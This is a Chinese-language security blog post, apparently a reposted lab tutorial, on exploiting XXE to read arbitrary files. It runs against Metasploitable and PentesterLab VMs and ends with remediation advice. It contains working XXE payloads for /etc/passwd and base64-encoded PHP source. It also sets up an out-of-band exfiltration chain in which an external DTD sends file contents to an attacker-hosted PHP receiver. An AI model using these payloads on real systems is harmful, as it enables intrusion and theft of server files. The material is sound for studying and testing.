干货分享 | XXE 漏洞任意文件读取利用方式汇总

admin 2022年9月26日09:01:56安全文章评论36 views4865字阅读16分13秒阅读模式
免责声明
由于传播、利用本公众号狐狸说安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号狐狸说安全及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉,谢谢!

0x01 前言

XXE漏洞全称(XML External Entity Injection),即XML外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成:文件读取、命令执行、内网端口扫描、攻击内网网站,DOS攻击 等危害.(xxe漏洞触发的点往往是可以上传xml文件的位置的,没有对上传的xml文件进行过滤,导致可上传恶意xml文件.)

0x02 实战阶段

实验环境:开启 Metasploitable 靶机

干货分享 | XXE 漏洞任意文件读取利用方式汇总

IP:192.168.37.132 用户:root 密码:123456

注:这里可以在 metasploitable 中进行试验,不可以在 centos 中进行试验,因为默认情况下

centos 中已经修复相关漏洞。

#在网站根目录下新建一个php页面,插入以下内容

<?php$xml=file_get_contents("php://input");$data = simplexml_load_string($xml) ;echo "<pre>" ;print_r($data) ;echo "</pre>" ;?>

代码解释:

file_get_contents() 函数把整个文件读入一个字符串中。

干货分享 | XXE 漏洞任意文件读取利用方式汇总

php://input #是个可以访问请求的原始数据的只读流。

结合 file_get_contents(“php://input”)可以读取 POST 提交的数据。存入$xml

simplexml_load_string 函数介绍

php 中的 simplexml_load_string 函数将 xml 格式字符串转换为对应的 SimpleXMLElement

Object

例:使用 simplexml_load_string 将 note 输入 XML 数值打印出来

[email protected]:~# vim test.php

<?php$note=<<<XML<note><to>Tove</to><from>Jani</from><heading>Reminder</heading><body>Don't forget me this weekend!</body></note>XML;$xml=simplexml_load_string($note);print_r($xml);?>

访问:http://192.168.36.128/test.php

干货分享 | XXE 漏洞任意文件读取利用方式汇总

SimpleXMLElement Object ( [to] => Tove [from] => Jani [heading] => Reminder [body]=> Don't forget me this weekend! )

注:黑客进行 XXE 注入的思路:

1、file_get_contents(“php://input”)可以读取 POST 提交的数据,

2、那么我们通过 POST 提交 XML 代码,

3、XML 代码中引用外部 DTD,读取黑客想要的系统文件

4、通过 simplexml_load_string()函数显示数据。

即通过 simplexml_load_string()函数将 XML 代码和引用的系统文件转换成 SimpleXMLElement

Object 格式打印出来,此时加载的系统文件也会被打印出来。

XXE 漏洞演示:

在 Kali 中开启 burpsuite 截断

访问:http://192.168.36.128/xxe.php

干货分享 | XXE 漏洞任意文件读取利用方式汇总

Payload 内容如下:

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "file:////etc/passwd" >]><root><name>&xxe;</name></root>

在上面的代码中, XML 外部实体(外部实体在 XML 中被引用) xxe 被赋予的值为:

file:///etc/passwd。在解析 XML 文档的过程中,实体 'xxe' 的值会被替换为

URI(file://etc/passwd)内容值(也就是 passwd 文件的内容)。关键字 'SYSTEM' 会告诉 XML 解析

器,'xxe' 实体的值将从其后的 URI 中读取,并把读取的内容替换 xxe 出现的地方。

假如 SYSTEM 后面的内容可以被用户控制,那么用户就可以随意替换为其他内容,从而读取服务器

本地文件(file:///etc/passwd)或者远程文件(http://www.baidu.com/abc.txt

干货分享 | XXE 漏洞任意文件读取利用方式汇总

读取 PHP 文件

修改 payload 读取 xxe.php 文件,代码如下:

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "file:///xxe.php" >]><root><name>&xxe;</name></root>

干货分享 | XXE 漏洞任意文件读取利用方式汇总

注:发现没有读取到文件的内容,原因是 php 文件需要进行加密才能够被读取。

修改 payload,代码如下:


<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php" >]><root><name>&xxe;</name></root>

干货分享 | XXE 漏洞任意文件读取利用方式汇总

php 文件经过 base64 加密之后就可以正常读取了,在 Kali 中使用 base64 进行解密获取文本内

容。

干货分享 | XXE 漏洞任意文件读取利用方式汇总

echo"PD9waHAKJHhtbD1maWxlX2dldF9jb250ZW50cygicGhwOi8vaW5wdXQiKTsKJGRhdGE9c2ltcGxleG1sX2xvYWRfc3RyaW5nKCR4bWwpOwplY2hvICI8cHJlPiI7CnByaW50X3IoJGRhdGEpOwplY2hvICI8L3ByZT4iOwo/Pgo=" | base64 -d

弹出以下内容:

<?php$xml=file_get_contents("php://input");$data = simplexml_load_string($xml) ;echo "<pre>" ;print_r($data) ;echo "</pre>" ;?>

干货分享 | XXE 漏洞任意文件读取利用方式汇总

无回显文件读取:

实验环境搭建

安装 PentesterLab 虚拟机。

新建虚拟机

干货分享 | XXE 漏洞任意文件读取利用方式汇总

选择镜像

干货分享 | XXE 漏洞任意文件读取利用方式汇总

干货分享 | XXE 漏洞任意文件读取利用方式汇总

干货分享 | XXE 漏洞任意文件读取利用方式汇总

选择操作系统与内核版本

干货分享 | XXE 漏洞任意文件读取利用方式汇总

设置虚拟机存储位置

干货分享 | XXE 漏洞任意文件读取利用方式汇总

优化硬件配置

干货分享 | XXE 漏洞任意文件读取利用方式汇总

干货分享 | XXE 漏洞任意文件读取利用方式汇总

干货分享 | XXE 漏洞任意文件读取利用方式汇总

开启虚拟机,虚拟机没有密码开机会自动登录。也不需要安装等操作步骤。

干货分享 | XXE 漏洞任意文件读取利用方式汇总

查看 IP 地址,这里不做演示,有手就行

实验拓扑

干货分享 | XXE 漏洞任意文件读取利用方式汇总

实验环境描述:Kali 作为黑客并建立黑客接收和提交数据的 Web 站点,PentesterLab 作为

server 被攻击端。


Kali 服务器准备工作:

我们需要建立一个外部的 dtd 文件,一个用于接收数据的 php 文件,以及存储数据的数据文件。

1、建立 dtd 外部实体文件:

打开网站根目录

vim test.dtd #插入以下内容

<!ENTITY % p1 SYSTEM "file:///etc/passwd"><!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://192.168.36.128/xxe.php?pass=%p1;'>">%p2;

注:% p1 定义一个参数实体,%和 p1 之间有一个空格,用于接收 file:///etc/passwd 的内

容,%p1 引用参数实体,参数实体只能在 DTD 文件中被引用。

建立 php 文件

vim xxe.php #插入以下内容

<?php$pass=$_GET['pass'];file_put_contents('pass.txt',$pass);?>

创建存储数据的文件

touch pass.txt

修改文件权限

chown -R www-data:www-data /var/www/html/*

启动 apache2

systemctl start apache2

测试 php 文件能够正常写入数据

curl http://192.168.36.128/xxe.php?pass=1

cat pass.txt

1

进行 XXE 攻击

Kali 中停止截断:

干货分享 | XXE 漏洞任意文件读取利用方式汇总


访问 PentesterLab 地址:http://192.168.36.132/ 我的地址是 192.168.36.132,大家要访问自己的地址。

点击 Login

干货分享 | XXE 漏洞任意文件读取利用方式汇总

开启 burpsuite 进行截断

干货分享 | XXE 漏洞任意文件读取利用方式汇总

直接点击登录,不需要输入用户名密码

干货分享 | XXE 漏洞任意文件读取利用方式汇总

干货分享 | XXE 漏洞任意文件读取利用方式汇总


Payload 代码:

<?xml version="1.0"?><!DOCTYPE e1 SYSTEM "http://192.168.36.128/test.dtd"><foo>&e1;</foo>

修改抓到包的内容

改:Content-Type: application/x-www-form-urlencoded

为:Content-Type: text/xml

插入 Payload 代码

干货分享 | XXE 漏洞任意文件读取利用方式汇总

获取 passwd 文件内容

cat pass.txt

root:x:0:0:root:/root:/bin/sh

lp:x:7:7:lp:/var/spool/lpd:/bin/sh

nobody:x:65534:65534:nobody:/nonexistent:/bin/false

tc:x:1001:50:Linux User,,,:/home/tc:/bin/sh

pentesterlab:x:1000:50:Linux User,,,:/home/pentesterlab:/bin/sh

play:x:100:65534:Linux User,,,:/opt/play-2.1.3/xxe/:/bin/false

mysql:x:101:65534:Linux User,,,:/home/mysql:/bin/false

0x03 修补建议

升级 libxml 版本

libxml2.9.0 以后,默认不解析外部实体

http://www.linuxfromscratch.org/blfs/view/cvs/general/libxml2.html

干货分享 | XXE 漏洞任意文件读取利用方式汇总

代码层防御

使用开发语言提供的禁用外部实体的方法

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();

dbf.setExpandEntityReferences(false);

Python:

from lxml import etree

xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

过滤用户提交的 XML 数据

关键词:<!DOCTYPE 和<!ENTITY,或者,SYSTEM 和 PUBLIC。

>精彩回顾<

干货 | 红队快速批量打点的利器

【干货】最全的Tomcat漏洞复现

{Vulhub漏洞复现(一)ActiveMQ}

{Vulhub漏洞复现(二) Apereo CAS}

Cobalt Strike免杀脚本生成器|cna脚本|bypassAV

xss bypass备忘单|xss绕过防火墙技巧|xss绕过WAF的方法

【贼详细 | 附PoC工具】Apache HTTPd最新RCE漏洞复现

干货 | 横向移动与域控权限维持方法总汇

干货 | 免杀ShellCode加载框架

【干货】phpMyAdmin漏洞利用汇总

【神兵利器 | 附下载】一个用于隐藏C2的、开箱即用的Tools

分享 | 个人渗透技巧汇总(避坑)笔记

干货分享 | XXE 漏洞任意文件读取利用方式汇总

关注我

获得更多精彩

干货分享 | XXE 漏洞任意文件读取利用方式汇总


坚持学习与分享!走过路过点个"在看",不会错过干货分享 | XXE 漏洞任意文件读取利用方式汇总

仅用于学习交流,不得用于非法用途

如侵权请私聊公众号删文


原文始发于微信公众号(EchoSec):干货分享 | XXE 漏洞任意文件读取利用方式汇总

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年9月26日09:01:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  干货分享 | XXE 漏洞任意文件读取利用方式汇总 http://cn-sec.com/archives/1315369.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: